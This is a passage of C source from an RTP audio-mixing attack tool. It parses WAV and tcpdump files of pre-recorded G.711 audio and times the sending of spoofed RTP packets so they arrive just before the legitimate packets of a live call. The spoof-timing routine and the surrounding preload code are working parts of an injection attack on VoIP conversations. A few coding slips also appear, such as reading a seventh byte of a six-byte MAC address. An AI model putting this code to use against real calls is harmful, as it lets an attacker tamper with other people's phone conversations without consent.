1383 hdrRIFF.c_typeRIFF[0],
1384 hdrRIFF.c_typeRIFF[1],
1385 hdrRIFF.c_typeRIFF[2],
1386 hdrRIFF.c_typeRIFF[3],
1387 hdrRIFF.c_typeRIFF[0],
1388 hdrRIFF.c_typeRIFF[1],
1389 hdrRIFF.c_typeRIFF[2],
1390 hdrRIFF.c_typeRIFF[3] );
1391 }
1392
1393 if ( hdrRIFF.c_typeRIFF[0] != 'W' ||
1394 hdrRIFF.c_typeRIFF[1] != 'A' ||
1395 hdrRIFF.c_typeRIFF[2] != 'V' ||
1396 hdrRIFF.c_typeRIFF[3] != 'E' ) {
1397 printf ( "\nPre-recorded audio input is not in WAVE format\n" );
1398 fclose ( fpAudio );
1399 fpAudio = NULL;
1400
1401 return false;
1402 }
1403
1404 //
1405 // Check that the audio input file has a standard "fmt " chunk following the
1406 // RIFF chunk. The "fmt " chunk contains the parameters of the audio
1407 // data.
1408 //
1409
1410 rc = fread ( &hdrFMT, sizeof ( hdrFMT ), 1, fpAudio );
1411
1412 if ( rc != 1 ) {
1413 printf ( "\nEOF on input file attempting to read"
1414 "\nthe standard RIFF fmt header\n" );
1415 fclose ( fpAudio );
1416 fpAudio = NULL;
1417
1418 return false;
1419 }
1420
1421 if ( bVerbose ) {
1422 printf ( "\nNext \"chunk\" header type: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n",
1423 hdrFMT.c_chunkID[0],
1424 hdrFMT.c_chunkID[1],
1425 hdrFMT.c_chunkID[2],
1426 hdrFMT.c_chunkID[3],
1427 hdrFMT.c_chunkID[0],
1428 hdrFMT.c_chunkID[1],
1429 hdrFMT.c_chunkID[2],
1430 hdrFMT.c_chunkID[3] );
1431 }
1432
1433 if ( hdrFMT.c_chunkID[0] != 'f' ||
1434 hdrFMT.c_chunkID[1] != 'm' ||
1435 hdrFMT.c_chunkID[2] != 't' ||
1436 hdrFMT.c_chunkID[3] != ' ' ) {
1437 printf ( "\nRIFF header not followed by fmt header\n" );
1438 fclose ( fpAudio );
1439 fpAudio = NULL;
1440
1441 return false;
1442 }
1443
1444 if ( bVerbose ) {
1445 printf ( "\nCompression Code: %u", hdrFMT.us_compressionCode );
1446 printf ( "\nChannels: %u", hdrFMT.us_numChannels );
1447 printf ( "\nSample Rate (Hz): %u", hdrFMT.ui_sampleRate );
1448 printf ( "\nAvg. Bytes/sec: %u", hdrFMT.ui_avgBytesPerSec );
1449 printf ( "\nBlock Align: %u", hdrFMT.us_blockAlign );
1450 printf ( "\nSignificant Bits/sample: %u", hdrFMT.us_numSignificantBitsPerSample );
1451 }
1452
1453 if ( hdrFMT.ui_fmtChunkSize > 16 ) {
1454 printf ( "\n\nThe fmt chunk has %u Extra Format Bytes."
1455 "\nExtra format bytes are not supported.\n",
1456 hdrFMT.ui_fmtChunkSize - 16 );
1457
1458 printf ( "\nYou might be able to use the Linux 'sox' command"
1459 "\nto convert your WAVE file from its current"
1460 "\nformat to the format required by this tool"
1461 "\nTo see a limited output of your file's parameters"
1462 "\nyou may execute this tool using the verbose option"
1463 "\n(i.e. -v) or the following sox command for a"
1464 "\nmore comprehensive assessment:"
1465 "\n sox -V %s -e stat\n",
1466 psInputAudioFile );
1467 fclose ( fpAudio );
1468 fpAudio = NULL;
1469
1470 return false;
1471 }
1472
1473 //
1474 // Determine the chunk id of the chunk following the "fmt " chunk
1475 // when there are no extra format bytes
1476 //
1477
1478 rc = fread ( &hdrCHUNK, sizeof ( hdrCHUNK ), 1, fpAudio );
1479
1480 if ( rc != 1 ) {
1481 printf ( "\nEOF on input file attempting to read"
1482 "\nthe chunk header following the fmt chunk\n" );
1483 fclose ( fpAudio );
1484 fpAudio = NULL;
1485
1486 return false;
1487 }
1488
1489 if ( bVerbose ) {
1490 printf ( "\n\nNext \"chunk\" header type: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n",
1491 hdrCHUNK.c_chunkID[0],
1492 hdrCHUNK.c_chunkID[1],
1493 hdrCHUNK.c_chunkID[2],
1494 hdrCHUNK.c_chunkID[3],
1495 hdrCHUNK.c_chunkID[0],
1496 hdrCHUNK.c_chunkID[1],
1497 hdrCHUNK.c_chunkID[2],
1498 hdrCHUNK.c_chunkID[3] );
1499
1500 printf ( "chunk data size: %u\n", hdrCHUNK.ui_chunkSize );
1501 }
1502
1503 //
1504 // The tool requires the chunk header just read to be either a 'fact' chunk or a 'data' chunk
1505 //
1506
1507 if ( hdrCHUNK.c_chunkID[0] == 'f' &&
1508 hdrCHUNK.c_chunkID[1] == 'a' &&
1509 hdrCHUNK.c_chunkID[2] == 'c' &&
1510 hdrCHUNK.c_chunkID[3] == 't' ) {
1511
1512 unsigned int ui_numSamplesInWaveformChunk = 0;
1513
1514 rc = fread ( &ui_numSamplesInWaveformChunk,
1515 sizeof ( ui_numSamplesInWaveformChunk ),
1516 1,
1517 fpAudio );
1518
1519 if ( rc != 1 ) {
1520 printf ( "\nEOF on input file attempting to read"
1521 "\nthe content of a \"fact\" chunk\n" );
1522 fclose ( fpAudio );
1523 fpAudio = NULL;
1524
1525 return false;
1526 }
1527
1528 if ( bVerbose ) {
1529 printf ( "Number of samples in waveform data chunk: %u\n",
1530 ui_numSamplesInWaveformChunk );
1531 }
1532
1533 //
1534 // This tool now requires the next chunk to be the 'data' chunk.
1535 //
1536
1537 rc = fread ( &hdrCHUNK, sizeof ( hdrCHUNK ), 1, fpAudio );
1538
1539 if ( rc != 1 ) {
1540 printf ( "\nEOF on input file attempting to read"
1541 "\nthe chunk header following the fmt chunk\n" );
1542 fclose ( fpAudio );
1543 fpAudio = NULL;
1544
1545 return false;
1546 }
1547
1548 if ( bVerbose ) {
1549 printf ( "\nNext \"chunk\" header type: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n",
1550 hdrCHUNK.c_chunkID[0],
1551 hdrCHUNK.c_chunkID[1],
1552 hdrCHUNK.c_chunkID[2],
1553 hdrCHUNK.c_chunkID[3],
1554 hdrCHUNK.c_chunkID[0],
1555 hdrCHUNK.c_chunkID[1],
1556 hdrCHUNK.c_chunkID[2],
1557 hdrCHUNK.c_chunkID[3] );
1558
1559 printf ( "chunk data size: %u\n", hdrCHUNK.ui_chunkSize );
1560 }
1561 }
1562
1563 //
1564 // The chunk just read must be the 'data' chunk
1565 //
1566
1567 if ( hdrCHUNK.c_chunkID[0] != 'd' ||
1568 hdrCHUNK.c_chunkID[1] != 'a' ||
1569 hdrCHUNK.c_chunkID[2] != 't' ||
1570 hdrCHUNK.c_chunkID[3] != 'a' ) {
1571 printf ( "\nThis tool supports only two sequences of RIFF WAVE file"
1572 "\nchunks:\n"
1573 "\n RIFF, fmt, fact, data"
1574 "\n or"
1575 "\n RIFF, fmt, data\n"
1576 "\nAn unsupported chunk header was encountered.\n" );
1577
1578 printf ( "\nYou might be able to use the Linux 'sox' command"
1579 "\nto convert your WAVE file from its current"
1580 "\nformat to the format required by this tool."
1581 "\nTo see a limited output of your file's parameters,"
1582 "\nyou may execute this tool using the verbose"
1583 "\noption (i.e. -v) or the following sox command"
1584 "\nfor a more comprehensive assessment:"
1585 "\n sox -V %s -e stat\n",
1586 psInputAudioFile );
1587 fclose ( fpAudio );
1588 fpAudio = NULL;
1589
1590 return false;
1591 }
1592
1593 //
1594 // The file appears to okay with respect to the sequence of chunk headers.
1595 // Now make sure that the fmt chunk information describes audio
1596 // content that complies with the constraints of this tool.
1597 //
1598
1599 if ( hdrFMT.us_compressionCode !=
1600 __RTPMIXSOUND_PCM_UNCOMPRESSED_COMPRESSION_CODE ) {
1601 printf ( "\nThe WAVE file compression format of your audio"
1602 "\nfile is not supported. Only code = 1 is supported"
1603 "\n(i.e. PCM/Uncompressed). Compression code"
1604 "\nspecified by audio file is: %u\n",
1605 hdrFMT.us_compressionCode );
1606
1607 printf ( "\nYou might be able to use the Linux 'sox' command"
1608 "\nto convert your WAVE file from its current"
1609 "\ncompression to the PCM/Uncompressed format"
1610 "\nrequired by this tool. To see a limited output"
1611 "\nof your file's parameters you may execute this"
1612 "\ntool using the verbose option (i.e. -v) or the"
1613 "\nfollowing sox command for a more comprehensive"
1614 "\nassessment:"
1615 "\n sox -V %s -e stat\n",
1616 psInputAudioFile );
1617 fclose ( fpAudio );
1618 fpAudio = NULL;
1619
1620 return false;
1621 }
1622
1623 if ( hdrFMT.us_numChannels != 1 ) {
1624 printf ( "\nThe number of audio channels in your audio file"
1625 "\nis not supported. Only mono (i.e. 1 channel) is"
1626 "\nsupported. The number of audio channels in your"
1627 "\naudio is: %u\n",
1628 hdrFMT.us_numChannels );
1629
1630 printf ( "\nYou might be able to use the Linux 'sox' command"
1631 "\nto convert your WAVE file from its current"
1632 "\nnumber of audio channels to the mono format"
1633 "\nrequired by this tool. To see a limited output"
1634 "\nof your file's parameters you may execute this"
1635 "\ntool using the verbose option (i.e. -v) or the"
1636 "\nfollowing sox command for a more comprehensive"
1637 "\nassessment:"
1638 "\n sox -V %s -e stat\n",
1639 psInputAudioFile );
1640 fclose ( fpAudio );
1641 fpAudio = NULL;
1642
1643 return false;
1644 }
1645
1646 if ( hdrFMT.ui_sampleRate != 8000 ) {
1647 printf ( "\nThe sample rate of your audio file is not supported."
1648 "\nOnly 8000 Hz is supported. The sample rate of"
1649 "\nyour audio is: %u Hz\n",
1650 hdrFMT.ui_sampleRate );
1651
1652 printf ( "\nYou might be able to use the Linux 'sox' command"
1653 "\nto convert your WAVE file from its current"
1654 "\nsample rate to the 8000 Hz required by this tool."
1655 "\nTo see a limited output of your file's parameters"
1656 "\nyou may execute this tool using the verbose option"
1657 "\n(i.e. -v) or the following sox command for a more"
1658 "\ncomprehensive assessment:"
1659 "\n sox -V %s -e stat\n",
1660 psInputAudioFile );
1661 fclose ( fpAudio );
1662 fpAudio = NULL;
1663
1664 return false;
1665 }
1666
1667 if ( hdrFMT.us_numSignificantBitsPerSample != 8 &&
1668 hdrFMT.us_numSignificantBitsPerSample != 16 ) {
1669 printf ( "\nThe number of significant bits per audio sample"
1670 "\nof your audio file is not supported. Only 8 or"
1671 "\n16 bits per sample is supported. The number of"
1672 "\nsignificant bits of your audio is: %u\n",
1673 hdrFMT.us_numSignificantBitsPerSample );
1674
1675 printf ( "\nYou might be able to use the Linux 'sox' command"
1676 "\nto convert your WAVE file from its current number"
1677 "\nof significant bits/sample to the 8 or 16 required"
1678 "\nby this tool. To see a limited output of your file's"
1679 "\nparameters you may execute this tool using the"
1680 "\nverbose option (i.e. -v) or the following sox"
1681 "\ncommand for a more comprehensive assessment:"
1682 "\n sox -V %s -e stat\n",
1683 psInputAudioFile );
1684 fclose ( fpAudio );
1685 fpAudio = NULL;
1686
1687 return false;
1688 }
1689
1690 //
1691 // Read, convert (if necessary), and load audio data into the
1692 // memory stipulated to this function. Limit the magnitude
1693 // of the audio to the number of specified G.711 packet equivalents.
1694 //
1695
1696 if ( hdrFMT.us_numSignificantBitsPerSample == 16 ) {
1697
1698 //
1699 // The format of the audio is exactly as desired. It can be loaded
1700 // directly into the reserved memory area
1701 //
1702
1703 for ( i = 0; i < __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX; i++ ) {
1704
1705 rc = fread ( &pcmSamplesToMix[i],
1706 sizeof ( short ),
1707 __RTPMIXSOUND_G711_PAYLOAD_LEN,
1708 fpAudio );
1709
1710 if ( rc != __RTPMIXSOUND_G711_PAYLOAD_LEN ) {
1711
1712 //
1713 // Less than a complete G.711 packet equivalent audio remained in
1714 // the audio file. So, return only the number of complete G.711
1715 // sample equivalents to the caller.
1716 //
1717
1718 break; // out of the for loop
1719 }
1720 }
1721
1722 *numG711PacketEquivalents = i;
1723 fclose ( fpAudio );
1724 fpAudio = NULL;
1725
1726 return true;
1727 }
1728
1729 //
1730 // Because of the test above, the only other possibility is that the
1731 // number of significant bits/sample must be 8, but a test is made
1732 // here - just in case the above logic is modified at a future date
1733 //
1734
1735 if ( hdrFMT.us_numSignificantBitsPerSample == 8 ) {
1736
1737 //
1738 // The audio needs to be converted from unsigned, 8-bit to signed, 16-bit
1739 // Even though, by convention, 8-bit PCM is referred to as unsigned, it
1740 // is scaled
1741 //
1742
1743 signed char wavePCM[__RTPMIXSOUND_G711_PAYLOAD_LEN];
1744
1745 for ( i = 0; i < __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX; i++ ) {
1746
1747 rc = fread ( &wavePCM,
1748 sizeof ( wavePCM ),
1749 1,
1750 fpAudio );
1751
1752 if ( rc != 1 ) {
1753
1754 //
1755 // Less than a complete G.711 packet equivalent audio remained in
1756 // the audio file. So, return only the number of complete G.711
1757 // packet equivalents to the caller.
1758 //
1759
1760 *numG711PacketEquivalents = i;
1761 fclose ( fpAudio );
1762 fpAudio = NULL;
1763
1764 return true;
1765 }
1766
1767 for ( j = 0; j < __RTPMIXSOUND_G711_PAYLOAD_LEN; j++ ) {
1768 pcmSamplesToMix[i].pcm_value[j] =
1769 (( (int) wavePCM[j] ) << 8 ) - 32768;
1770 }
1771
1772 }
1773
1774 *numG711PacketEquivalents = i;
1775 fclose ( fpAudio );
1776 fpAudio = NULL;
1777
1778 return true;
1779 }
1780
1781 return false;
1782
1783 } // end preloadWavAudio
1784
1785
1786 //-----------------------------------------------------------------------------
1787 //
1788 // preloadTCPdumpAudio ( char *psInputAudioFile,
1789 // struct pcm pcmSamplesToMix[],
1790 // unsigned int *numG711PacketsLoaded )
1791 //
1792 // This routine expects psInputAudioFile to point to a
1793 // string with the name of file containing the pre-recorded
1794 // audio to load into memory. The file is expected to be a
1795 // standard libpcap tcpdump formatted file containing
1796 // G.711 PCMU RTP/UDP/IP/ETHERNET messages.
1797 //
1798 // Decode G.711 ulaw audio contained within each RTP
1799 // packet into 16-bit linear PCM.
1800 //
1801 // Pre-recorded audio content is read, decoded from 8-bit,
1802 // unsigned, non-linear PCMU into 16-bit, signed, linear
1803 // PCM. It is loaded into the memory area pointed to by
1804 // the 2nd parameter to this function.
1805 //
1806 // The pre-recorded audio is eventually going to be
1807 // mixed in real-time with audio from a specified
1808 // target audio stream. The PCMU bytes in each RTP
1809 // audio packet received in real-time will have to be
1810 // decoded from PCMU into PCM, added to the
1811 // next pre-recorded audio sample (already converted
1812 // to PCM), scaled, converted back into PCMU, and
1813 // transmitted into the target audio stream.
1814 // That is a time critical process. So, loading the
1815 // pre-recorded audio into memory in a format
1816 // conducive to mixing with the target audio stream
1817 // is beneficial. Also, attempting to read from a disk
1818 // drive in real-time on an arbitrary platform would
1819 // yield unpredictable timing due to several factors
1820 // (e.g. speed of the machine, disk buffer sizes, disk
1821 // caching parameters, disk access time, ...etc).
1822 //
1823 // Of course, swapping of the memory resident,
1824 // pre-recorded audio in PCM form to disk could
1825 // occur as a consequence of normal OS data paging
1826 // operation.
1827 //
1828 // The memory area to load is specified by the
1829 // second parameter. It is a pointer to an array of an
1830 // array of PCM values. Each increment of the
1831 // outer array index represents the number of
1832 // of audio samples transmitted in a single G.711
1833 // packet (i.e. __RTPMIXSOUND_G711_PAYLOAD_LEN).
1834 // The memory area must be large enough to contain
1835 // __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX
1836 // of __RTPMIXSOUND_G711_PAYLOAD_LEN
1837 // 16-bit, signed, linear PCM values.
1838 //
1839 // The number of G711 packets whose audio was
1840 // converted to PCM and loaded into memory is
1841 // returned to the calling routine thru the 3rd
1842 // parameter to this function.
1843 //
1844 // The return value of this function is:
1845 // false - when a failure to load pre-recorded audio occurs
1846 // true - when pre-recorded audio is loaded succsssfully
1847 //
1848 // FIXME: Declare that some data should remain
1849 // memory-resident at all times.
1850 //
1851 //-----------------------------------------------------------------------------
1852
1853 bool preloadTCPdumpAudio ( char *psInputAudioFile,
1854 struct pcm pcmSamplesToMix[],
1855 unsigned int *numG711PacketsLoaded ) {
1856
1857 unsigned int i;
1858 unsigned int numPackets = 0;
1859
1860 unsigned char *pUlawByte = NULL;
1861 short *pPCMShort = NULL;
1862
1863 char pcap_errbuf[ PCAP_ERRBUF_SIZE ];
1864
1865 pcap_t *h_pcap_tcpdump_rtp = NULL; // libpcap "handle"
1866
1867 struct pcap_pkthdr *ppcap_pkthdr = NULL;
1868 struct pcap_pkthdr pcap_header;
1869
1870 bool bPacketsRemain = true;
1871
1872 *numG711PacketsLoaded = 0;
1873
1874 //
1875 // Read pre-recorded audio from the RTP packets stored in
1876 // the specified tcpdump file.
1877 //
1878
1879 h_pcap_tcpdump_rtp =
1880 pcap_open_offline ( psInputAudioFile, pcap_errbuf );
1881
1882 if ( h_pcap_tcpdump_rtp == NULL ) {
1883 printf ( "\nCouldn't open pre-recorded RTP audio file %s: %s\n",
1884 psInputAudioFile, pcap_errbuf );
1885 return false;
1886 }
1887
1888 printf ( "\n\nReading pre-recorded G.711 PCMU audio from input audio"
1889 "\nfile, converting it into 16-bit linear PCM, and loading"
1890 "\nit into memory. This is the audio to mix into the"
1891 "\ntarget live audio stream.\n" );
1892
1893 do {
1894
1895 //
1896 // FIXME: One outstanding question is whether repeated calls to
1897 // pcap_next_ex( ) result in additional memory being
1898 // consumed. Or, is only - at most - one packet's worth of
1899 // memory consumed despite repeated calls to pcap_next_ex( ).
1900 // After all, the objective of this part of the code is to load
1901 // into memory all of the audio you'd like to mix into a
1902 // targeted conversion.
1903 //
1904 // The working presumption until this question can be
1905 // answered is that repeated calls to pcap_next_ex( ) result
1906 // in only one packet's worth of memory being consumed.
1907 // (i.e. the pcap_next_ex( ) routine releases memory for
1908 // the packet "returned" in a prior call and allocates
1909 // memory as needed for the next packet).
1910 //
1911
1912 rc = pcap_next_ex ( h_pcap_tcpdump_rtp, &ppcap_pkthdr, &packet );
1913
1914 switch ( rc ) {
1915 case -2: {
1916 // EOF
1917 bPacketsRemain = false;
1918 break;
1919 }
1920 case -1: {
1921 // error occurred reading file
1922 pcap_perror ( h_pcap_tcpdump_rtp,
1923 "\nError reading pre-recorded audio "
1924 "capture into memory! " );
1925 pcap_close ( h_pcap_tcpdump_rtp );
1926 h_pcap_tcpdump_rtp = NULL;
1927
1928 return false;
1929 }
1930 case 1: {
1931 // no error reading packet
1932
1933 numPackets++;
1934
1935 if ( numPackets == 1 && bVerbose ) {
1936 printf( "\n\nRTP Header of 1st packet in pre-recorded audio:" );
1937 decodeAndPrintRTPMsg ( packet );
1938 }
1939
1940 //
1941 // FIXME: tool only supports G.711 audio at this time
1942 //
1943
1944 rtp_hdr = ( struct rfc1889_rtp_hdr * ) ( packet + offset_to_rtp_msg );
1945
1946 if ( rtp_hdr->payloadType !=
1947 __RTPMIXSOUND_G711_PAYLOAD_TYPE ) {
1948 printf ( "\nPacket #%u of the pre-recorded audio file"
1949 "\nis not bearing G.711 u-law encoded audio"
1950 "\nPayload type = %u\n",
1951 numPackets, rtp_hdr->payloadType );
1952 pcap_close ( h_pcap_tcpdump_rtp );
1953 h_pcap_tcpdump_rtp = NULL;
1954
1955 return false;
1956 }
1957
1958 pUlawByte = ( (unsigned char *) packet ) + offset_to_rtp_payload;
1959
1960 for ( i = 0; i < __RTPMIXSOUND_G711_PAYLOAD_LEN; i++ ) {
1961 pcmSamplesToMix[ numPackets - 1 ].pcm_value[ i ] =
1962 ulaw2linear ( *pUlawByte );
1963 pUlawByte++;
1964 }
1965
1966 if ( numPackets == __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX ) {
1967 bPacketsRemain = false;
1968 }
1969 break;
1970 }
1971 default: {
1972 // no other error code should be returned when using pcap_next_ex( ) to
1973 // read a "saved" file.
1974 printf ( "\nReceived an unexpected return code from "
1975 "pcap_next_ex( ): %d ", rc );
1976 pcap_perror ( h_pcap_tcpdump_rtp, NULL );
1977 pcap_close ( h_pcap_tcpdump_rtp );
1978 h_pcap_tcpdump_rtp = NULL;
1979
1980 return false;
1981 }
1982 } // end switch ( rc )
1983
1984 } while ( bPacketsRemain );
1985
1986 *numG711PacketsLoaded = numPackets;
1987
1988 pcap_close ( h_pcap_tcpdump_rtp );
1989 h_pcap_tcpdump_rtp = NULL;
1990
1991 return true;
1992
1993 } // end preloadTCPdumpAudio
1994
1995
1996 //-----------------------------------------------------------------------------
1997 //
1998 // delayTransmitOfSpoofedPacket ( unsigned int codecIntervalUsec )
1999 //
2000 // This routine returns to the caller when the
2001 // the time-of-day is >= the time-of-day to output
2002 // the next spoofed RTP packet. However, if
2003 // the time-of-day becomes greater than or equal to
2004 // the time-of-day the next legitimate packet is
2005 // expected, we have really screwed up. A failure
2006 // is declared and the tool is exited.
2007 //
2008 // Limitation: The time-of-day the next spoofed packet
2009 // should be output cannot be later than
2010 // the time-of-day the next legitimate RTP
2011 // packet is expected.
2012 //
2013 //-----------------------------------------------------------------------------
2014
2015 void delayTransmitOfSpoofedPacket ( unsigned int codecIntervalUsec ) {
2016
2017 int i;
2018
2019 bool bOutputTrigger = false;
2020
2021 //
2022 // Note: Time of day as represented by the timeval structure is expressed
2023 // as seconds + usecs since the Epoch time reference.
2024 //
2025
2026 struct timeval currentTOD;
2027 struct timeval nextLegitimatePacketTOD;
2028 struct timeval nextSpoofPacketOutputTOD;
2029
2030 //
2031 // Based on the TOD the last legitimate RTP packet was received,
2032 // what time in the future should the next legitimate packet be
2033 // expected?
2034 //
2035
2036 nextLegitimatePacketTOD.tv_sec = ppcap_pkthdr->ts.tv_sec;
2037 nextLegitimatePacketTOD.tv_usec = ppcap_pkthdr->ts.tv_usec;
2038
2039 nextLegitimatePacketTOD.tv_usec += codecIntervalUsec;
2040
2041 // TOD next legitimate packet is expected is in the next second?
2042
2043 if ( nextLegitimatePacketTOD.tv_usec > 1000000 ) {
2044 nextLegitimatePacketTOD.tv_usec -= 1000000; // adjust usec downward
2045 nextLegitimatePacketTOD.tv_sec++; // adjust sec upward
2046 }
2047
2048 //
2049 // Based on the TOD the last legitimate RTP packet was received,
2050 // what time in the future should the next spoofed packet be transmitted?
2051 //
2052 // Note: Time of day as represented by the timeval structure is expressed
2053 // as seconds + usecs since the Epoch time reference.
2054 //
2055
2056 nextSpoofPacketOutputTOD.tv_sec = ppcap_pkthdr->ts.tv_sec;
2057 nextSpoofPacketOutputTOD.tv_usec = ppcap_pkthdr->ts.tv_usec;
2058
2059 nextSpoofPacketOutputTOD.tv_usec += jitterDelayUsec;
2060
2061 // next spoofed packet transmit time-of-day is in the next second?
2062
2063 if ( nextSpoofPacketOutputTOD.tv_usec > 1000000 ) {
2064 nextSpoofPacketOutputTOD.tv_usec -= 1000000; // adjust usec downward
2065 nextSpoofPacketOutputTOD.tv_sec++; // adjust sec upward
2066 }
2067
2068 while ( !bOutputTrigger ) {
2069 gettimeofday( &currentTOD, NULL ); // retrieve current TimeOfDay
2070
2071 // Does current TOD exceed TOD next legitimate RTP packet is expected?
2072
2073 deltaTSec = nextLegitimatePacketTOD.tv_sec - currentTOD.tv_sec;
2074
2075 if ( deltaTSec < 0 ) {
2076 printf ( "\nError: Failed to output spoof RTP packet #%u "
2077 "%u usec before next legitimate RTP packet!! (1)\n",
2078 i, jitterProximityUsec );
2079 printf ( "\nnextLegitimatePacketTOD:\n"
2080 "tv_sec = %d, tv_usec = %d\n"
2081 "\nnextSpoofPacketOutputTOD:\n"
2082 "tv_sec = %d, tv_usec = %d\n"
2083 "\ncurrentTOD:\n"
2084 "tv_sec = %d, tv_usec = %d\n",
2085 nextLegitimatePacketTOD.tv_sec,
2086 nextLegitimatePacketTOD.tv_usec,
2087 nextSpoofPacketOutputTOD.tv_sec,
2088 nextSpoofPacketOutputTOD.tv_usec,
2089 currentTOD.tv_sec,
2090 currentTOD.tv_usec );
2091 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
2092 }
2093
2094 if ( deltaTSec == 0 ) {
2095
2096 // Times to compare are within same second, so we can
2097 // compare usec components directly.
2098
2099 deltaTUsec =
2100 nextLegitimatePacketTOD.tv_usec - currentTOD.tv_usec;
2101
2102 if ( deltaTUsec < 0 ) {
2103 printf ( "\nError: Failed to output spoof RTP packet #%u "
2104 "%u usec before legitimate RTP packet!! (2)\n",
2105 i, jitterProximityUsec );
2106 printf ( "\nnextLegitimatePacketTOD:\n"
2107 "tv_sec = %d, tv_usec = %d\n"
2108 "\nnextSpoofPacketOutputTOD:\n"
2109 "tv_sec = %d, tv_usec = %d\n"
2110 "\ncurrentTOD:\n"
2111 "tv_sec = %d, tv_usec = %d\n",
2112 nextLegitimatePacketTOD.tv_sec,
2113 nextLegitimatePacketTOD.tv_usec,
2114 nextSpoofPacketOutputTOD.tv_sec,
2115 nextSpoofPacketOutputTOD.tv_usec,
2116 currentTOD.tv_sec,
2117 currentTOD.tv_usec );
2118 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
2119 }
2120 }
2121
2122 // So far so good. The currentTOD is less than the time the next legitimate
2123 // RTP packet is expected. Is it time to output the next spoofed packet?
2124
2125 // Compute deltaT between TOD of next spoof packet output and current TOD
2126
2127 deltaTSec = nextSpoofPacketOutputTOD.tv_sec - currentTOD.tv_sec;
2128
2129 if ( deltaTSec < 0 ) { // must be passed time to output spoof packet
2130 bOutputTrigger = true;
2131 }
2132
2133 if ( deltaTSec == 0 ) {
2134
2135 // Times to compare are within same second, so we can
2136 // compare usec components directly.
2137
2138 deltaTUsec =
2139 nextSpoofPacketOutputTOD.tv_usec - currentTOD.tv_usec;
2140
2141 if ( deltaTUsec <= 0 ) { // must be passed time to output spoof packet
2142 bOutputTrigger = true;
2143 }
2144 }
2145 } // end while ( not reached spoofed packet output time )
2146
2147 /*
2148 printf ( "\n--------------------------\n"
2149 "\nnextLegitimatePacketTOD:\n"
2150 "tv_sec = %d, tv_usec = %d\n"
2151 "\nnextSpoofPacketOutputTOD:\n"
2152 "tv_sec = %d, tv_usec = %d\n"
2153 "\ncurrentTOD:\n"
2154 "tv_sec = %d, tv_usec = %d\n"
2155 "jitterProximityUsec = %u usec\n",
2156 nextLegitimatePacketTOD.tv_sec,
2157 nextLegitimatePacketTOD.tv_usec,
2158 nextSpoofPacketOutputTOD.tv_sec,
2159 nextSpoofPacketOutputTOD.tv_usec,
2160 currentTOD.tv_sec,
2161 currentTOD.tv_usec,
2162 jitterProximityUsec );
2163 */
2164
2165 } // end delayTransmitOfSpoofedPacket
2166
2167
2168 //-----------------------------------------------------------------------------
2169 //
2170 // decodeAndPrintRTPMsg ( const u_char *packet )
2171 //
2172 // This routine actually prints most of the content
2173 // of the headers leading up to the actual RTP payload,
2174 // but not the payload itself.
2175 //
2176 // The input parameter, packet, is presumed to point
2177 // to the start of the Ethernet frame. That Ethernet
2178 // frame is presumed to contain an RTP/UDP/IP
2179 // datagram.
2180 //
2181 // In order, the headers are:
2182 // Ethernet
2183 // IP
2184 // UDP
2185 // RTP
2186 //
2187 //
2188 // Portability Issues:
2189 //
2190 // It is presumed this routine is operating on a
2191 // little endian machine, requiring the swapping of
2192 // some of the header content that is in network
2193 // (i.e. big-endian order).
2194 //
2195 // It should be noted that the structure used to
2196 // define bit fields within the rtp header is very
2197 // likely also implementation dependent. This
2198 // routine was developed to execute on an Intel
2199 // machine (i.e. Pentium) running Red Hat Linux.
2200 //-----------------------------------------------------------------------------
2201
2202 void decodeAndPrintRTPMsg ( const u_char *packet ) {
2203
2204 //
2205 // Print some of the Ethernet header content
2206 //
2207
2208 unsigned int i = 0;
2209
2210 char macString[18] = ""; // 6 hex bytes * 2 char/byte + 5 colons + end-of-string
2211
2212 eth_hdr = ( struct libnet_ethernet_hdr * ) packet;
2213
2214 printf ( "\n\n-----------------\n\n");
2215
2216 sprintf ( macString, "%02x:%02x:%02x:%02x:%02x:%02x",
2217 eth_hdr->ether_shost[0],
2218 eth_hdr->ether_shost[1],
2219 eth_hdr->ether_shost[2],
2220 eth_hdr->ether_shost[3],
2221 eth_hdr->ether_shost[4],
2222 eth_hdr->ether_shost[5],
2223 eth_hdr->ether_shost[6] );
2224
2225 printf ( "source MAC: %s\n", macString );
2226
2227 macString[0] = '\0'; // re-initialize workspace string to NUL string
2228
2229 sprintf ( macString, "%02x:%02x:%02x:%02x:%02x:%02x",
2230 eth_hdr->ether_dhost[0],
2231 eth_hdr->ether_dhost[1],
2232 eth_hdr->ether_dhost[2],
2233 eth_hdr->ether_dhost[3],
2234 eth_hdr->ether_dhost[4],
2235 eth_hdr->ether_dhost[5],
2236 eth_hdr->ether_dhost[6] );
2237
2238 printf ( "destination MAC: %s\n\n", macString );
2239
2240 //
2241 // Print some of the IP header content
2242 //
2243
2244 ip_hdr = ( struct libnet_ipv4_hdr * )
2245 ( packet + LIBNET_ETH_H );
2246
2247 // This union is a workspace permitting an IPv4 address to be accessed as a
2248 // byte array.
2249
2250 union {
2251 uint32_t ip_addr;
2252 char ip_bytes[4];
2253 } ip_addr_union;
2254
2255 char ip_addr_dotted[16]; // workspace to synthesize a dotted IPv4 addr
2256
2257 ip_addr_dotted[0] = '\0'; // initialize workspace string to NUL string
2258
2259 ip_addr_union.ip_addr = ip_hdr->ip_src.s_addr;
2260
2261 sprintf( ip_addr_dotted, "%hu.%hu.%hu.%hu",
2262 ip_addr_union.ip_bytes[0],
2263 ip_addr_union.ip_bytes[1],
2264 ip_addr_union.ip_bytes[2],
2265 ip_addr_union.ip_bytes[3] );
2266
2267 printf ( "source IP: %s\n", ip_addr_dotted );
2268
2269 ip_addr_dotted[0] = '\0'; // initialize workspace string to NUL string
2270
2271 ip_addr_union.ip_addr = ip_hdr->ip_dst.s_addr;
2272
2273 sprintf( ip_addr_dotted, "%hu.%hu.%hu.%hu",
2274 ip_addr_union.ip_bytes[0],
2275 ip_addr_union.ip_bytes[1],
2276 ip_addr_union.ip_bytes[2],
2277 ip_addr_union.ip_bytes[3] );
2278
2279 printf ( "destination IP: %s\n\n", ip_addr_dotted );
